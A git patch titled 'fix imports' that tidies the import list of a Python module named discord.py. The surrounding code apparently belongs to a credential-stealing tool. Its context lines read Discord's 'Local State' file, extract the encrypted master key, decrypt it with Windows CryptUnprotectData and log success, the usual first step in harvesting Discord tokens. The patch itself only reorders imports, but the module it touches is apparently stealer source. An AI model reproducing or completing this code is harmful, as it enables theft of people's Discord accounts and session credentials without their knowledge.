From acc6affe069e3b1f80ebe80f64dc9d2694316f07 Mon Sep 17 00:00:00 2001 From: Hirusha Adikari <36286877+hirusha-adi@users.noreply.github.com> Date: Sun, 19 Mar 2023 16:37:39 +0530 Subject: [PATCH] fix imports --- modules/applications/discord.py | 23 +++++++++-------------- 1 file changed, 9 insertions(+), 14 deletions(-) diff --git a/modules/applications/discord.py b/modules/applications/discord.py index b930548..dfb24b2 100644 --- a/modules/applications/discord.py +++ b/modules/applications/discord.py @@ -1,20 +1,15 @@ +import json import os +import re +from base64 import b64decode + +from ctypes import POINTER, byref +from ctypes import Structure, c_char, wintypes +from ctypes import c_buffer, cdll, windll -from ctypes import windll -from ctypes import wintypes -from ctypes import byref -from ctypes import cdll -from ctypes import Structure -from ctypes import POINTER -from ctypes import c_char -from ctypes import c_buffer from Crypto.Cipher import AES -from base64 import b64decode -from json import loads as json_loads -import threading -import re -from config import Constant +from config import Constant from config import ModuleManager @@ -91,7 +86,7 @@ def GetDiscord(self, path, savefname): pathKey = path + "/Local State" with open(pathKey, 'r', encoding='utf-8') as f: - local_state = json_loads(f.read()) + local_state = json.loads(f.read()) master_key = b64decode(local_state['os_crypt']['encrypted_key']) master_key = self.CryptUnprotectData(master_key[5:]) self.mdebug(f"[{savefname}] Found and loaded master key")